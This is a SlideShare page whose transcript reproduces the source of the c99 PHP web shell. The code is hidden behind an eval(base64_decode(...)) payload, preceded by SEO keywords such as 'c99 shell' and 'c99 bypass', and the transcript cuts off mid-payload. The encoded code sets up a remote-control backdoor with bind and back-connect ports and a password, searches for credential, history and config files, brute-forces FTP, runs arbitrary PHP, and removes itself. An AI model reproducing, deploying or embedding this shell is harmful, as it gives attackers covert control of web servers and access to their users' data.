Your SlideShare is downloading. ×
c99
Upcoming SlideShare
Loading in...5
×

Thanks for flagging this SlideShare!

Oops! An error has occurred.

×

Introducing the official SlideShare app

Stunning, full-screen experience for iPhone and Android

Text the download link to your phone

Standard text messaging rates apply

c99

291
views

Published on


0 Comments
0 Likes
Statistics
Notes
  • Be the first to comment

  • Be the first to like this

No Downloads
Views
Total Views
291
On Slideshare
0
From Embeds
0
Number of Embeds
0
Actions
Shares
0
Downloads
1
Comments
0
Likes
0
Embeds 0
No embeds

Report content
Flagged as inappropriate Flag as inappropriate
Flag as inappropriate

Select your reason for flagging this presentation as inappropriate.

Cancel
No notes for slide

Transcript

  • 1. <?php $google = "c99,c99.txt,c99 shell,c99 bypass,tryag c99, c99.php"; eval(base64_decode("aWYgKCFmdW5jdGlvbl9leGlzdHMoImdldG1pY3JvdGltZSIpKSB7ZnVuY3Rpb24 gZ2V0bWljcm90 aW1lKCkge2xpc3QoJHVzZWMsICRzZWMpID0gZXhwbG9kZSgiICIsIG1pY3JvdGltZSgpKTsgcmV0 dXJuICgoZmxvYXQpJHVzZWMgKyAoZmxvYXQpJHNlYyk7fX0NCmVycm9yX3JlcG9ydGluZyg1KTsN CkBpZ25vcmVfdXNlcl9hYm9ydChUUlVFKTsNCkBzZXRfbWFnaWNfcXVvdGVzX3J1bnRpbWUoMCk7 DQokd2luID0gc3RydG9sb3dlcihzdWJzdHIoUEhQX09TLDAsMykpID09ICJ3aW4iOw0KZGVmaW5l KCJzdGFydHRpbWUiLGdldG1pY3JvdGltZSgpKTsNCmlmIChnZXRfbWFnaWNfcXVvdGVzX2dwYygp KSB7aWYgKCFmdW5jdGlvbl9leGlzdHMoInN0cmlwcyIpKSB7ZnVuY3Rpb24gc3RyaXBzKCYkYXJy LCRrPSIiKSB7aWYgKGlzX2FycmF5KCRhcnIpKSB7Zm9yZWFjaCgkYXJyIGFzICRrPT4kdikge2lm IChzdHJ0b3VwcGVyKCRrKSAhPSAiR0xPQkFMUyIpIHtzdHJpcHMoJGFyclsiJGsiXSk7fX19IGVs c2UgeyRhcnIgPSBzdHJpcHNsYXNoZXMoJGFycik7fX19IHN0cmlwcygkR0xPQkFMUyk7fQ0KJF9S RVFVRVNUID0gYXJyYXlfbWVyZ2UoJF9DT09LSUUsJF9QT1NUKTsNCmZvcmVhY2goJF9SRVFVRVNU IGFzICRrPT4kdikge2lmICghaXNzZXQoJCRrKSkgeyQkayA9ICR2O319DQokc2h2ZXIgPSAiIGVk aXRpb24gQURWQU5DRUQiOw0KaWYgKGVtcHR5KCRzdXJsKSkNCnsNCiAkc3VybCA9ICRfU0VSVkVS WydQSFBfU0VMRiddOw0KfQ0KJHN1cmwgPSBodG1sc3BlY2lhbGNoYXJzKCRzdXJsKTsNCg0KJHRp bWVsaW1pdCA9IDA7DQokaG9zdF9hbGxvdyA9IGFycmF5KCIqIik7DQokbG9naW5fdHh0ID0gIkFk bWluIGFyZWEiOw0KJGFjY2Vzc2RlbmllZG1lc3MgPSAiZGllIGxpa2UgdGhlIHJlc3QiOw0KJGd6 aXBlbmNvZGUgPSBUUlVFOw0KJGM5OXNoX3NvdXJjZXN1cmwgPSAiIjsgLy9Tb3VyY2VzLXNlcnZl cg0KJGZpbGVzdGVhbHRoID0gVFJVRTsNCiRkb25hdGVkX2h0bWwgPSAiIjsNCiRkb25hdGVkX2Fj dCA9IGFycmF5KCIiKTsNCiRjdXJkaXIgPSAiLi8iOw0KJHRtcGRpciA9ICIiOw0KJHRtcGRpcl9s b2cgPSAiLi8iOw0KDQokbG9nX2VtYWlsID0gInVzZXJAaG9zdC5nb3YiOw0KJHNvcnRfZGVmYXVs dCA9ICIwYSI7DQokc29ydF9zYXZlID0gVFJVRTsNCg0KJGZ0eXBlcyAgPSBhcnJheSgNCiAiaHRt bCI9PmFycmF5KCJodG1sIiwiaHRtIiwic2h0bWwiKSwNCiAidHh0Ij0+YXJyYXkoInR4dCIsImNv bmYiLCJiYXQiLCJzaCIsImpzIiwiYmFrIiwiZG9jIiwibG9nIiwic2ZjIiwiY2ZnIiwiaHRhY2Nl c3MiKSwNCiAiZXhlIj0+YXJyYXkoInNoIiwiaW5zdGFsbCIsImJhdCIsImNtZCIpLA0KICJpbmki PT5hcnJheSgiaW5pIiwiaW5mIiksDQogImNvZGUiPT5hcnJheSgicGhwIiwicGh0bWwiLCJwaHAz IiwicGhwNCIsImluYyIsInRjbCIsImgiLCJjIiwiY3BwIiwicHkiLCJjZ2kiLCJwbCIpLA0KICJp bWciPT5hcnJheSgiZ2lmIiwicG5nIiwianBlZyIsImpmaWYiLCJqcGciLCJqcGUiLCJibXAiLCJp Y28iLCJ0aWYiLCJ0aWZmIiwiYXZpIiwibXBnIiwibXBlZyIpLA0KICJzZGIiPT5hcnJheSgic2Ri IiksDQogInBocHNlc3MiPT5hcnJheSgic2VzcyIpLA0KICJkb3dubG9hZCI9PmFycmF5KCJleGUi LCJjb20iLCJwaWYiLCJzcmMiLCJsbmsiLCJ6aXAiLCJyYXIiLCJneiIsInRhciIpDQopOw0KDQoN CiRleGVmdHlwZXMgID0gYXJyYXkoDQogZ2V0ZW52KCJQSFBSQyIpLiIgLXEgJWYlIiA9PiBhcnJh eSgicGhwIiwicGhwMyIsInBocDQiKSwNCiAicGVybCAlZiUiID0+IGFycmF5KCJwbCIsImNnaSIp DQopOw0KDQokcmVneHBfaGlnaGxpZ2h0ICA9IGFycmF5KA0KICBhcnJheShiYXNlbmFtZSgkX1NF UlZFUlsiUEhQX1NFTEYiXSksMSwiPGZvbnQgY29sb3I9XCJ5ZWxsb3dcIj4iLCI8L2ZvbnQ+Iiks DQogIGFycmF5KCJjb25maWcucGhwIiwxKSAvLyBleGFtcGxlDQopOw0KDQokc2FmZW1vZGVfZGlz a2V0dGVzID0gYXJyYXkoImEiKTsNCiRoZXhkdW1wX2xpbmVzID0gODsNCiRoZXhkdW1wX3Jvd3Mg PSAyNDsNCiRuaXhwd2RwZXJwYWdlID0gMTAwOw0KJGJpbmRwb3J0X3Bhc3MgPSAiYzk5bWFkIjsN CiRiaW5kcG9ydF9wb3J0ID0gIjMxMzczIjsNCiRiY19wb3J0ID0gIjMxMzczIjsNCiRkYXRhcGlw ZV9sb2NhbHBvcnQgPSAiODA4MSI7DQppZiAoISR3aW4pDQp7DQogJGNtZGFsaWFzZXMgPSBhcnJh eSgNCiAgYXJyYXkoIi0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t LS0tLS0tLS0tLS0tLS0tIiwgImxzIC1sYSIpLA0KICBhcnJheSgiZmluZCBhbGwgc3VpZCBmaWxl cyIsICJmaW5kIC8gLXR5cGUgZiAtcGVybSAtMDQwMDAgLWxzIiksDQogIGFycmF5KCJmaW5kIHN1 aWQgZmlsZXMgaW4gY3VycmVudCBkaXIiLCAiZmluZCAuIC10eXBlIGYgLXBlcm0gLTA0MDAwIC1s cyIpLA0KICBhcnJheSgiZmluZCBhbGwgc2dpZCBmaWxlcyIsICJmaW5kIC8gLXR5cGUgZiAtcGVy bSAtMDIwMDAgLWxzIiksDQogIGFycmF5KCJmaW5kIHNnaWQgZmlsZXMgaW4gY3VycmVudCBkaXIi LCAiZmluZCAuIC10eXBlIGYgLXBlcm0gLTAyMDAwIC1scyIpLA0KICBhcnJheSgiZmluZCBjb25m aWcuaW5jLnBocCBmaWxlcyIsICJmaW5kIC8gLXR5cGUgZiAtbmFtZSBjb25maWcuaW5jLnBocCIp LA0KICBhcnJheSgiZmluZCBjb25maWcqIGZpbGVzIiwgImZpbmQgLyAtdHlwZSBmIC1uYW1lIFwi Y29uZmlnKlwiIiksDQogIGFycmF5KCJmaW5kIGNvbmZpZyogZmlsZXMgaW4gY3VycmVudCBkaXIi LCAiZmluZCAuIC10eXBlIGYgLW5hbWUgXCJjb25maWcqXCIiKSwNCiAgYXJyYXkoImZpbmQgYWxs IHdyaXRhYmxlIGZvbGRlcnMgYW5kIGZpbGVzIiwgImZpbmQgLyAtcGVybSAtMiAtbHMiKSwNCiAg YXJyYXkoImZpbmQgYWxsIHdyaXRhYmxlIGZvbGRlcnMgYW5kIGZpbGVzIGluIGN1cnJlbnQgZGly IiwgImZpbmQgLiAtcGVybSAtMiAtbHMiKSwNCiAgYXJyYXkoImZpbmQgYWxsIHNlcnZpY2UucHdk IGZpbGVzIiwgImZpbmQgLyAtdHlwZSBmIC1uYW1lIHNlcnZpY2UucHdkIiksDQogIGFycmF5KCJm aW5kIHNlcnZpY2UucHdkIGZpbGVzIGluIGN1cnJlbnQgZGlyIiwgImZpbmQgLiAtdHlwZSBmIC1u YW1lIHNlcnZpY2UucHdkIiksDQogIGFycmF5KCJmaW5kIGFsbCAuaHRwYXNzd2QgZmlsZXMiLCAi
  • 2. ZmluZCAvIC10eXBlIGYgLW5hbWUgLmh0cGFzc3dkIiksDQogIGFycmF5KCJmaW5kIC5odHBhc3N3 ZCBmaWxlcyBpbiBjdXJyZW50IGRpciIsICJmaW5kIC4gLXR5cGUgZiAtbmFtZSAuaHRwYXNzd2Qi KSwNCiAgYXJyYXkoImZpbmQgYWxsIC5iYXNoX2hpc3RvcnkgZmlsZXMiLCAiZmluZCAvIC10eXBl IGYgLW5hbWUgLmJhc2hfaGlzdG9yeSIpLA0KICBhcnJheSgiZmluZCAuYmFzaF9oaXN0b3J5IGZp bGVzIGluIGN1cnJlbnQgZGlyIiwgImZpbmQgLiAtdHlwZSBmIC1uYW1lIC5iYXNoX2hpc3Rvcnki KSwNCiAgYXJyYXkoImZpbmQgYWxsIC5mZXRjaG1haWxyYyBmaWxlcyIsICJmaW5kIC8gLXR5cGUg ZiAtbmFtZSAuZmV0Y2htYWlscmMiKSwNCiAgYXJyYXkoImZpbmQgLmZldGNobWFpbHJjIGZpbGVz IGluIGN1cnJlbnQgZGlyIiwgImZpbmQgLiAtdHlwZSBmIC1uYW1lIC5mZXRjaG1haWxyYyIpLA0K ICBhcnJheSgibGlzdCBmaWxlIGF0dHJpYnV0ZXMgb24gYSBMaW51eCBzZWNvbmQgZXh0ZW5kZWQg ZmlsZSBzeXN0ZW0iLCAibHNhdHRyIC12YSIpLA0KICBhcnJheSgic2hvdyBvcGVuZWQgcG9ydHMi LCAibmV0c3RhdCAtYW4gfCBncmVwIC1pIGxpc3RlbiIpDQogKTsNCn0NCmVsc2UNCnsNCiAkY21k YWxpYXNlcyA9IGFycmF5KA0KICBhcnJheSgiLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0iLCAiZGlyIiksDQogIGFycmF5KCJzaG93IG9w ZW5lZCBwb3J0cyIsICJuZXRzdGF0IC1hbiIpDQogKTsNCn0NCg0KJHNlc3NfY29va2llID0gImM5 OXNodmFycyI7DQoNCiR1c2Vmc2J1ZmYgPSBUUlVFOw0KJGNvcHlfdW5zZXQgPSBGQUxTRTsNCg0K JHF1aWNrbGF1bmNoID0gYXJyYXkoDQogYXJyYXkoIjxiPjxocj5IT01FPC9iPiIsJHN1cmwpLA0K IGFycmF5KCI8Yj48PTwvYj4iLCIjXCIgb25jbGljaz1cImhpc3RvcnkuYmFjaygxKSIpLA0KIGFy cmF5KCI8Yj49PjwvYj4iLCIjXCIgb25jbGljaz1cImhpc3RvcnkuZ28oMSkiKSwNCiBhcnJheSgi PGI+VVBESVI8L2I+IiwiI1wiIG9uY2xpY2s9XCJkb2N1bWVudC50b2RvLmFjdC52YWx1ZT0nbHMn O2RvY3VtZW50LnRvZG8uZC52YWx1ZT0nJXVwZCc7ZG9jdW1lbnQudG9kby5zb3J0LnZhbHVlPScl c29ydCc7ZG9jdW1lbnQudG9kby5zdWJtaXQoKTsiKSwgICAgICANCiBhcnJheSgiPGI+U2VhcmNo PC9iPiIsIiNcIiBvbmNsaWNrPVwiZG9jdW1lbnQudG9kby5hY3QudmFsdWU9J3NlYXJjaCc7ZG9j dW1lbnQudG9kby5kLnZhbHVlPSclZCc7ZG9jdW1lbnQudG9kby5zdWJtaXQoKTsiKSwNCiBhcnJh eSgiPGI+QnVmZmVyPC9iPiIsIiNcIiBvbmNsaWNrPVwiZG9jdW1lbnQudG9kby5hY3QudmFsdWU9 J2ZzYnVmZic7ZG9jdW1lbnQudG9kby5kLnZhbHVlPSclZCc7ZG9jdW1lbnQudG9kby5zdWJtaXQo KTsiKSwNCiBhcnJheSgiPGI+VG9vbHM8L2I+IiwiI1wiIG9uY2xpY2s9XCJkb2N1bWVudC50b2Rv LmFjdC52YWx1ZT0ndG9vbHMnO2RvY3VtZW50LnRvZG8uZC52YWx1ZT0nJWQnO2RvY3VtZW50LnRv ZG8uc3VibWl0KCk7IiksDQogYXJyYXkoIjxiPlByb2MuPC9iPiIsIiNcIiBvbmNsaWNrPVwiZG9j dW1lbnQudG9kby5hY3QudmFsdWU9J3Byb2Nlc3Nlcyc7ZG9jdW1lbnQudG9kby5kLnZhbHVlPScl ZCc7ZG9jdW1lbnQudG9kby5zdWJtaXQoKTsiKSwNCiAgYXJyYXkoIjxiPmh0YWNjZXNzJzwvYj4i LCIjXCIgb25jbGljaz1cImRvY3VtZW50LnRvZG8uYWN0LnZhbHVlPSdodGFjc3MnO2RvY3VtZW50 LnRvZG8uZC52YWx1ZT0nJWQnO2RvY3VtZW50LnRvZG8uc3VibWl0KCk7IiksDQogIGFycmF5KCI8 Yj5jb25maWcgc3B5PC9iPiIsIiNcIiBvbmNsaWNrPVwiZG9jdW1lbnQudG9kby5hY3QudmFsdWU9 J2NvbmZzcHknO2RvY3VtZW50LnRvZG8uZC52YWx1ZT0nJWQnO2RvY3VtZW50LnRvZG8uc3VibWl0 KCk7IiksDQogIGFycmF5KCI8Yj52YmhhY2snPC9iPiIsIiNcIiBvbmNsaWNrPVwiZG9jdW1lbnQu dG9kby5hY3QudmFsdWU9J2luZGV4eCc7ZG9jdW1lbnQudG9kby5kLnZhbHVlPSclZCc7ZG9jdW1l bnQudG9kby5zdWJtaXQoKTsiKSwNCiBhcnJheSgiPGI+RlRQIGJydXRlPC9iPiIsIiNcIiBvbmNs aWNrPVwiZG9jdW1lbnQudG9kby5hY3QudmFsdWU9J2Z0cHF1aWNrYnJ1dGUnO2RvY3VtZW50LnRv ZG8uZC52YWx1ZT0nJWQnO2RvY3VtZW50LnRvZG8uc3VibWl0KCk7IiksDQogYXJyYXkoIjxiPlNl Yy48L2I+IiwiI1wiIG9uY2xpY2s9XCJkb2N1bWVudC50b2RvLmFjdC52YWx1ZT0nc2VjdXJpdHkn O2RvY3VtZW50LnRvZG8uZC52YWx1ZT0nJWQnO2RvY3VtZW50LnRvZG8uc3VibWl0KCk7IiksDQog YXJyYXkoIjxiPlNRTDwvYj4iLCIjXCIgb25jbGljaz1cImRvY3VtZW50LnRvZG8uYWN0LnZhbHVl PSdzcWwnO2RvY3VtZW50LnRvZG8uZC52YWx1ZT0nJWQnO2RvY3VtZW50LnRvZG8uc3VibWl0KCk7 IiksDQogYXJyYXkoIjxiPlBIUC1jb2RlPC9iPiIsIiNcIiBvbmNsaWNrPVwiZG9jdW1lbnQudG9k by5hY3QudmFsdWU9J2V2YWwnO2RvY3VtZW50LnRvZG8uZC52YWx1ZT0nJWQnO2RvY3VtZW50LnRv ZG8uc3VibWl0KCk7IiksDQogYXJyYXkoIjxiPlNlbGYgcmVtb3ZlPC9iPiIsIiNcIiBvbmNsaWNr PVwiZG9jdW1lbnQudG9kby5hY3QudmFsdWU9J3NlbGZyZW1vdmUnO2RvY3VtZW50LnRvZG8uc3Vi bWl0KCk7IiksDQogYXJyYXkoIjxiPkxvZ291dDwvYj4iLCIjXCIgb25jbGljaz1cImlmIChjb25m aXJtKCdBcmUgeW91IHN1cmU/JykpIHdpbmRvdy5jbG9zZSgpIikNCik7DQoNCiRoaWdobGlnaHRf YmFja2dyb3VuZCA9ICIjYzBjMGMwIjsNCiRoaWdobGlnaHRfYmcgPSAiI0ZGRkZGRiI7DQokaGln aGxpZ2h0X2NvbW1lbnQgPSAiIzZBNkE2QSI7DQokaGlnaGxpZ2h0X2RlZmF1bHQgPSAiIzAwMDBC QiI7DQokaGlnaGxpZ2h0X2h0bWwgPSAiIzEzMDBGRiI7DQokaGlnaGxpZ2h0X2tleXdvcmQgPSAi IzAwNzcwMCI7DQokaGlnaGxpZ2h0X3N0cmluZyA9ICIjMDAwMDAwIjsNCg0KQCRmID0gJF9SRVFV RVNUWyJmIl07DQpAZXh0cmFjdCgkX1JFUVVFU1RbImM5OXNoY29vayJdKTsNCi8vLy8vLy8vLy8v Ly8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8NCkBzZXRfdGltZV9saW1pdCgwKTsNCiR0bXAgPSBh cnJheSgpOw0KZm9yZWFjaCgkaG9zdF9hbGxvdyBhcyAkaz0+JHYpIHskdG1wW10gPSBzdHJfcmVw bGFjZSgiXFwqIiwiLioiLHByZWdfcXVvdGUoJHYpKTt9DQokcyA9ICIhXigiLmltcGxvZGUoInwi LCR0bXApLiIpJCFpIjsNCmlmICghcHJlZ19tYXRjaCgkcyxnZXRlbnYoIlJFTU9URV9BRERSIikp IGFuZCAhcHJlZ19tYXRjaCgkcyxnZXRob3N0YnlhZGRyKGdldGVudigiUkVNT1RFX0FERFIiKSkp
  • 3. KSB7ZXhpdCgiPGEgaHJlZj1cImh0dHA6Ly9ldmlsYzBkZXIuY29tXCI+aXNsYW1pY2RzaGVsbDwv YT46IEFjY2VzcyBEZW5pZWQgLSB5b3VyIGhvc3QgKCIuZ2V0ZW52KCJSRU1PVEVfQUREUiIpLiIp IG5vdCBhbGxvdyIpO30NCmlmICghZW1wdHkoJGxvZ2luKSkNCnsNCiBpZiAoZW1wdHkoJG1kNV9w YXNzKSkgeyRtZDVfcGFzcyA9IG1kNSgkcGFzcyk7fQ0KIGlmICgoJF9TRVJWRVJbIlBIUF9BVVRI X1VTRVIiXSAhPSAkbG9naW4pIG9yIChtZDUoJF9TRVJWRVJbIlBIUF9BVVRIX1BXIl0pICE9ICRt ZDVfcGFzcykpDQogew0KICBpZiAoZW1wdHkoJGxvZ2luX3R4dCkpIHskbG9naW5fdHh0ID0gc3Ry aXBfdGFncyhlcmVnX3JlcGxhY2UoIiZuYnNwO3w8YnI+IiwiICIsJGRvbmF0ZWRfaHRtbCkpO30N CiAgaGVhZGVyKCJXV1ctQXV0aGVudGljYXRlOiBCYXNpYyByZWFsbT1cIiIuJGxvZ2luX3R4dC4i XCIiKTsNCiAgaGVhZGVyKCJIVFRQLzEuMCA0MDEgVW5hdXRob3JpemVkIik7DQogIGV4aXQoJGFj Y2Vzc2RlbmllZG1lc3MpOw0KIH0NCn0NCg0KaWYgKGlzc2V0KCRfUE9TVFsnYWN0J10pKSAkYWN0 ICA9ICRfUE9TVFsnYWN0J107DQppZiAoaXNzZXQoJF9QT1NUWydkJ10pKSAkZCAgICA9IHVybGRl Y29kZSgkX1BPU1RbJ2QnXSk7DQppZiAoaXNzZXQoJF9QT1NUWydzb3J0J10pKSAkc29ydCA9ICRf UE9TVFsnc29ydCddOw0KaWYgKGlzc2V0KCRfUE9TVFsnZiddKSkgJGYgICAgPSAkX1BPU1RbJ2Yn XTsNCmlmIChpc3NldCgkX1BPU1RbJ2Z0J10pKSAkZnQgICA9ICRfUE9TVFsnZnQnXTsNCmlmIChp c3NldCgkX1BPU1RbJ2dyZXAnXSkpICRncmVwID0gJF9QT1NUWydncmVwJ107DQppZiAoaXNzZXQo JF9QT1NUWydwcm9jZXNzZXNfc29ydCddKSkgJHByb2Nlc3Nlc19zb3J0ID0gJF9QT1NUWydwcm9j ZXNzZXNfc29ydCddOw0KaWYgKGlzc2V0KCRfUE9TVFsncGlkJ10pKSAkcGlkICA9ICRfUE9TVFsn cGlkJ107DQppZiAoaXNzZXQoJF9QT1NUWydzaWcnXSkpICRzaWcgID0gJF9QT1NUWydzaWcnXTsN CmlmIChpc3NldCgkX1BPU1RbJ2Jhc2U2NCddKSkgJGJhc2U2NCAgPSAkX1BPU1RbJ2Jhc2U2NCdd Ow0KaWYgKGlzc2V0KCRfUE9TVFsnZnVsbGhleGR1bXAnXSkpICRmdWxsaGV4ZHVtcCAgPSAkX1BP U1RbJ2Z1bGxoZXhkdW1wJ107DQppZiAoaXNzZXQoJF9QT1NUWydjJ10pKSAkYyAgPSAkX1BPU1Rb J2MnXTsNCmlmIChpc3NldCgkX1BPU1RbJ3doaXRlJ10pKSAkd2hpdGUgID0gJF9QT1NUWyd3aGl0 ZSddOw0KaWYgKGlzc2V0KCRfUE9TVFsnbml4cGFzc3dkJ10pKSAkbml4cGFzc3dkICA9ICRfUE9T VFsnbml4cGFzc3dkJ107DQoNCiRsYXN0ZGlyID0gcmVhbHBhdGgoIi4iKTsNCmNoZGlyKCRjdXJk aXIpOw0KJHNlc3NfZGF0YSA9IHVuc2VyaWFsaXplKCRfQ09PS0lFWyIkc2Vzc19jb29raWUiXSk7 DQppZiAoIWlzX2FycmF5KCRzZXNzX2RhdGEpKSB7JHNlc3NfZGF0YSA9IGFycmF5KCk7fQ0KaWYg KCFpc19hcnJheSgkc2Vzc19kYXRhWyJjb3B5Il0pKSB7JHNlc3NfZGF0YVsiY29weSJdID0gYXJy YXkoKTt9DQppZiAoIWlzX2FycmF5KCRzZXNzX2RhdGFbImN1dCJdKSkgeyRzZXNzX2RhdGFbImN1 dCJdID0gYXJyYXkoKTt9DQoNCiRkaXNhYmxlZnVuYyA9IEBpbmlfZ2V0KCJkaXNhYmxlX2Z1bmN0 aW9ucyIpOw0KaWYgKCFlbXB0eSgkZGlzYWJsZWZ1bmMpKQ0Kew0KICRkaXNhYmxlZnVuYyA9IHN0 cl9yZXBsYWNlKCIgIiwiIiwkZGlzYWJsZWZ1bmMpOw0KICRkaXNhYmxlZnVuYyA9IGV4cGxvZGUo IiwiLCRkaXNhYmxlZnVuYyk7DQp9DQoNCmlmICghZnVuY3Rpb25fZXhpc3RzKCJjOTlfYnVmZl9w cmVwYXJlIikpDQp7DQpmdW5jdGlvbiBjOTlfYnVmZl9wcmVwYXJlKCkNCnsNCiBnbG9iYWwgJHNl c3NfZGF0YTsNCiBnbG9iYWwgJGFjdDsNCiBmb3JlYWNoKCRzZXNzX2RhdGFbImNvcHkiXSBhcyAk az0+JHYpIHskc2Vzc19kYXRhWyJjb3B5Il1bJGtdID0gc3RyX3JlcGxhY2UoIlxcIixESVJFQ1RP UllfU0VQQVJBVE9SLHJlYWxwYXRoKCR2KSk7fQ0KIGZvcmVhY2goJHNlc3NfZGF0YVsiY3V0Il0g YXMgJGs9PiR2KSB7JHNlc3NfZGF0YVsiY3V0Il1bJGtdID0gc3RyX3JlcGxhY2UoIlxcIixESVJF Q1RPUllfU0VQQVJBVE9SLHJlYWxwYXRoKCR2KSk7fQ0KICRzZXNzX2RhdGFbImNvcHkiXSA9IGFy cmF5X3VuaXF1ZSgkc2Vzc19kYXRhWyJjb3B5Il0pOw0KICRzZXNzX2RhdGFbImN1dCJdID0gYXJy YXlfdW5pcXVlKCRzZXNzX2RhdGFbImN1dCJdKTsNCiBzb3J0KCRzZXNzX2RhdGFbImNvcHkiXSk7 DQogc29ydCgkc2Vzc19kYXRhWyJjdXQiXSk7DQogaWYgKCRhY3QgIT0gImNvcHkiKSB7Zm9yZWFj aCgkc2Vzc19kYXRhWyJjdXQiXSBhcyAkaz0+JHYpIHtpZiAoJHNlc3NfZGF0YVsiY29weSJdWyRr XSA9PSAkdikge3Vuc2V0KCRzZXNzX2RhdGFbImNvcHkiXVska10pOyB9fX0NCiBlbHNlIHtmb3Jl YWNoKCRzZXNzX2RhdGFbImNvcHkiXSBhcyAkaz0+JHYpIHtpZiAoJHNlc3NfZGF0YVsiY3V0Il1b JGtdID09ICR2KSB7dW5zZXQoJHNlc3NfZGF0YVsiY3V0Il1bJGtdKTt9fX0NCn0NCn0NCmM5OV9i dWZmX3ByZXBhcmUoKTsNCmlmICghZnVuY3Rpb25fZXhpc3RzKCJjOTlfc2Vzc19wdXQiKSkNCnsN CmZ1bmN0aW9uIGM5OV9zZXNzX3B1dCgkZGF0YSkNCnsNCiBnbG9iYWwgJHNlc3NfY29va2llOw0K IGdsb2JhbCAkc2Vzc19kYXRhOw0KIGM5OV9idWZmX3ByZXBhcmUoKTsNCiAkc2Vzc19kYXRhID0g JGRhdGE7DQogJGRhdGEgPSBzZXJpYWxpemUoJGRhdGEpOw0KIHNldGNvb2tpZSgkc2Vzc19jb29r aWUsJGRhdGEpOw0KfQ0KfQ0KZm9yZWFjaCAoYXJyYXkoInNvcnQiLCJzcWxfc29ydCIpIGFzICR2 KQ0Kew0KIGlmICghZW1wdHkoJF9QT1NUWyR2XSkpIHskJHYgPSAkX1BPU1RbJHZdO30NCn0NCmlm ICgkc29ydF9zYXZlKQ0Kew0KIGlmICghZW1wdHkoJHNvcnQpKSB7c2V0Y29va2llKCJzb3J0Iiwk c29ydCk7fQ0KIGlmICghZW1wdHkoJHNxbF9zb3J0KSkge3NldGNvb2tpZSgic3FsX3NvcnQiLCRz cWxfc29ydCk7fQ0KfQ0KaWYgKCFmdW5jdGlvbl9leGlzdHMoInN0cjJtaW5pIikpDQp7DQpmdW5j dGlvbiBzdHIybWluaSgkY29udGVudCwkbGVuKQ0Kew0KIGlmIChzdHJsZW4oJGNvbnRlbnQpID4g JGxlbikNCiB7DQogICRsZW4gPSBjZWlsKCRsZW4vMikgLSAyOw0KICByZXR1cm4gc3Vic3RyKCRj b250ZW50LCAwLCRsZW4pLiIuLi4iLnN1YnN0cigkY29udGVudCwtJGxlbik7DQogfQ0KIGVsc2Ug e3JldHVybiAkY29udGVudDt9DQp9DQp9DQppZiAoIWZ1bmN0aW9uX2V4aXN0cygidmlld19zaXpl IikpDQp7DQpmdW5jdGlvbiB2aWV3X3NpemUoJHNpemUpDQp7DQogaWYgKCFpc19udW1lcmljKCRz
  • 4. aXplKSkge3JldHVybiBGQUxTRTt9DQogZWxzZQ0KIHsNCiAgaWYgKCRzaXplID49IDEwNzM3NDE4 MjQpIHskc2l6ZSA9IHJvdW5kKCRzaXplLzEwNzM3NDE4MjQqMTAwKS8xMDAgLiIgR0IiO30NCiAg ZWxzZWlmICgkc2l6ZSA+PSAxMDQ4NTc2KSB7JHNpemUgPSByb3VuZCgkc2l6ZS8xMDQ4NTc2KjEw MCkvMTAwIC4iIE1CIjt9DQogIGVsc2VpZiAoJHNpemUgPj0gMTAyNCkgeyRzaXplID0gcm91bmQo JHNpemUvMTAyNCoxMDApLzEwMCAuIiBLQiI7fQ0KICBlbHNlIHskc2l6ZSA9ICRzaXplIC4gIiBC Ijt9DQogIHJldHVybiAkc2l6ZTsNCiB9DQp9DQp9DQppZiAoIWZ1bmN0aW9uX2V4aXN0cygiZnNf Y29weV9kaXIiKSkNCnsNCmZ1bmN0aW9uIGZzX2NvcHlfZGlyKCRkLCR0KQ0Kew0KICRkID0gc3Ry X3JlcGxhY2UoIlxcIixESVJFQ1RPUllfU0VQQVJBVE9SLCRkKTsNCiBpZiAoc3Vic3RyKCRkLC0x KSAhPSBESVJFQ1RPUllfU0VQQVJBVE9SKSB7JGQgLj0gRElSRUNUT1JZX1NFUEFSQVRPUjt9DQog JGggPSBvcGVuZGlyKCRkKTsNCiB3aGlsZSAoKCRvID0gcmVhZGRpcigkaCkpICE9PSBGQUxTRSkN CiB7DQogIGlmICgoJG8gIT0gIi4iKSBhbmQgKCRvICE9ICIuLiIpKQ0KICB7DQogICBpZiAoIWlz X2RpcigkZC5ESVJFQ1RPUllfU0VQQVJBVE9SLiRvKSkgeyRyZXQgPSBjb3B5KCRkLkRJUkVDVE9S WV9TRVBBUkFUT1IuJG8sJHQuRElSRUNUT1JZX1NFUEFSQVRPUi4kbyk7fQ0KICAgZWxzZSB7JHJl dCA9IG1rZGlyKCR0LkRJUkVDVE9SWV9TRVBBUkFUT1IuJG8pOyBmc19jb3B5X2RpcigkZC5ESVJF Q1RPUllfU0VQQVJBVE9SLiRvLCR0LkRJUkVDVE9SWV9TRVBBUkFUT1IuJG8pO30NCiAgIGlmICgh JHJldCkge3JldHVybiAkcmV0O30NCiAgfQ0KIH0NCiBjbG9zZWRpcigkaCk7DQogcmV0dXJuIFRS VUU7DQp9DQp9DQppZiAoIWZ1bmN0aW9uX2V4aXN0cygiZnNfY29weV9vYmoiKSkNCnsNCmZ1bmN0 aW9uIGZzX2NvcHlfb2JqKCRkLCR0KQ0Kew0KICRkID0gc3RyX3JlcGxhY2UoIlxcIixESVJFQ1RP UllfU0VQQVJBVE9SLCRkKTsNCiAkdCA9IHN0cl9yZXBsYWNlKCJcXCIsRElSRUNUT1JZX1NFUEFS QVRPUiwkdCk7DQogaWYgKCFpc19kaXIoZGlybmFtZSgkdCkpKSB7bWtkaXIoZGlybmFtZSgkdCkp O30NCiBpZiAoaXNfZGlyKCRkKSkNCiB7DQogIGlmIChzdWJzdHIoJGQsLTEpICE9IERJUkVDVE9S WV9TRVBBUkFUT1IpIHskZCAuPSBESVJFQ1RPUllfU0VQQVJBVE9SO30NCiAgaWYgKHN1YnN0cigk dCwtMSkgIT0gRElSRUNUT1JZX1NFUEFSQVRPUikgeyR0IC49IERJUkVDVE9SWV9TRVBBUkFUT1I7 fQ0KICByZXR1cm4gZnNfY29weV9kaXIoJGQsJHQpOw0KIH0NCiBlbHNlaWYgKGlzX2ZpbGUoJGQp KSB7cmV0dXJuIGNvcHkoJGQsJHQpO30NCiBlbHNlIHtyZXR1cm4gRkFMU0U7fQ0KfQ0KfQ0KaWYg KCFmdW5jdGlvbl9leGlzdHMoImZzX21vdmVfZGlyIikpDQp7DQpmdW5jdGlvbiBmc19tb3ZlX2Rp 